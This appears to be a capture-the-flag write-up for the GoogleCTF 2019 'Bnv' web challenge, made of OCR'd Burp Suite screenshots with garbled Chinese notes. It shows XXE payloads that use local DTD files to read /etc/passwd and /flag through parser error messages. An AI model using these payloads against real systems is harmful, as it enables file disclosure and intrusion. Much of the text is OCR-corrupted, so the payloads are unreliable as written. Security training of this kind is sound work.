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Please use the search engine below to find the closest association near you.
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f Request to http://7f6a74c5-0541-47c¢9-8558-c89ce63f94f1.node4.buuoj.cn:81 [117.21.200.166]

Forward Drop Intercept is on Action Open Browser

Raw Hex \n =

1 POST /api/search HTTP/1.1

72 Host: 7f6a74c5-0541-47c9-8558-c8%ceb63f9411. node4d. buuoj. cn:81
3 Content—Length: 38

4 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winbé4; x64) AppleWebKit/537.36 |
5 Content—type: application/json

6 Accept: */*

70rigin: http://7f6a74c5-0541-47c9-8558-c89ceb63f94f1. node4. buuo j. cn: 81

8 Referer: http://7f6a74c5-0541-47c9-8558-c8%ceb63f94f1. node4d. buuoj. cn:81/

9 Accept—-Encoding: gzip, deflate
10 Accept—Language: zh—CN, zh;q=0.9
11 Connection: close
12
13 {

"message":"135601360123502401401250"
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Content-type: application/json
Content-type: application/xml
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No declaration for element message, line 5, column 23

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [ <!-- EXMXFEmessage B -->
<!ELEMENT message (#PCDATA)> <!-- & Xmessage L% "#PCDATA" 57 -->
<IENTITY b "135601360123502401401250">
1>

<message>&b;</message>
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Request Response m ='n
Raw Hex \n = Raw Hex Render \n =

1POST /api/search HTTP/1.1 1 HTTP/1.1 200 OK

2 Host: 7f6a74c5-0541-47c9-8558-c89ceb3t94f1. nor 2 Server: openresty

3 Content—-Length: 145 3 Date: Fri, 11 Feb 2022 01:39:50 GMT

4 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win< 4 Content-Type: text/xml; charset=utf-8

5 Content—type: application/xml 5 Content—-Length: 115

6 Accept: */* 6 Connection: close

70rigin: http://7f6a74c5-0541-47c9-8558-c89ceb. 7

8Referer: http://7f6a74c5-0541-47c9-8558-c8%9cei 8 Welcome! Our center is located in Brandschenkestrasse 1
9 Accept—Encoding: gzip, deflate

10 Accept—Language: zh—CN, zh;q=0.9

11 Connection: close

12

13<?xml version="1.0"7>

14 <IDOCTYPE message [

15 <IELEMENT message (#PCDATA)>

16 <IENTITY b "135601360123502401401250">

17 1>
18 <message>
&b;
<{/message>
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<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<IELEMENT message (#PCDATA)>
<IENTITY b "135601360123502401401250">
<IENTITY % name SYSTEM "file:///etc/passwd">
%name;
1>

<message>&b;</message>

4t internal error: xmlParselnternalSubset: error detected in Markup declaration, line 1, column 1
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failed to load external entity “file:///xoX’, line 6, column 10

Bt LAAT DL i flag 7 AR H 5%
SR 5 7 1X 5 S Z Exploiting XXE with local DTD files (mohemiv.com)

Linuxi3 #5 AT BELE /usr/share/yelp/dtd/docbookx.dtd FH —ADTD . H: HIXA A N —A 4 NISOamsalr)seik, Fr LAFRAT]
A LA B R 5 DTDARH

How can we find a local dtd file?

Nothing is easier than enumerating files and directories. Below are a few more examples
of successful applications of this trick:

Custom Linux System

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd; o
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What can we do with internal DTD?

To use external DTD syntax in the internal DTD subset, you can bruteforce a local dtd file
on the target host and redefine some parameter-entity references inside it:

Request Response
<?xml version="1.0" 2> java.io.FileNotFoundException: /nonexistent/
<!DOCTYPE message [ root:x:0:0:root:/root:/bin/bash

<!ENTITY % local_dtd SYSTEM bin:x:1:1:bin:/bin:/usr/bin/nologin
"file:///opt/IBM/WebSphere/AppServer/properties/sip- daemon:x:2:2:daemon:/:/usr/bin/nologin

app_1_@.dtd">
(No such file or directory)
<IENTITY % condition 'aaa)>
<IENTITY &#x25; file SYSTEM "file:///etc/passwd">
<IENTITY &#x25; eval "<!ENTITY &#x26;#x25; error
SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
1>
<message>any text</message> rc @
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payload:

<?xml version="1.0"?>
<!DOCTYPE messagel[
<!IENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!IENTITY % ISOamso '
<IENTITY &#x25; file SYSTEM "file:///flag">
<IENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
">
%local_dtd;
1>
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Request Response

MHex \n = Pretty IREIWM Hex Render \n =

. ;“$°J'°”181 1 HTTP/1.1 200 OK
ererer:

2 Server: openresty
3 Date: Fri, 11 Feb 2022 02:06:45 GMT

. . 4 Content-Type: text/xml; charset=utf-8
9 Accept—Encoding: gzip, deflate 5 Content-Length: 88

10 Accept—Language: zh—CN, zh;g=0.9 6 Connection: close

11 Connection: close 7

12 8 Invalid URI:

13 <?xml| version="1.0"?>

14 <IDOCTYPE message[

15 <IENTITY % local_dtd SYSTEM
"file:///usr/share/yelp/dtd/docbookx. dtd">

16 <IENTITY % 1SOamso '

17 <IENTITY &#x25; file SYSTEM "file:///flag">

18 IENTITY &#x25; eval "<IENTITY &#x26;#x25;
error SYSTEM
&#tx27;file:///aaaaa/&#x25; i le;&#x27;>">

19 &#x25;eval;

20 &#x25;error;

http://7f6a74c5-0541-47c9-8558—-c89ce63f94f1. node4.
buuoj.cn:81/

218689ac}, line 4, column 11

file:///aaaaa/flag{082ad756—e026—4e67-9c4c—0b27

21>

22 %local_dtd;

231>

ﬂl‘fgﬁ @S” Search... | 0 matches (ﬁé’b"}: @@[ Search...
ZHEwp:

[GoogleCTF2019 Quals]Bnv-XXE2% > id 5% cjdgg it
Fill i 4 1:[GoogleCTF2019 Quals]Bnv | izt 2 22 t %) 48 £ (syunaht.com)

CEL (@)l
'0' matchles”


https://blog.csdn.net/cjdgg/article/details/114420160
https://syunaht.com/p/1267717976.html

	[ctf web][GoogleCTF2019 Quals]Bnv writeup
	[GoogleCTF2019 Quals]Bnv


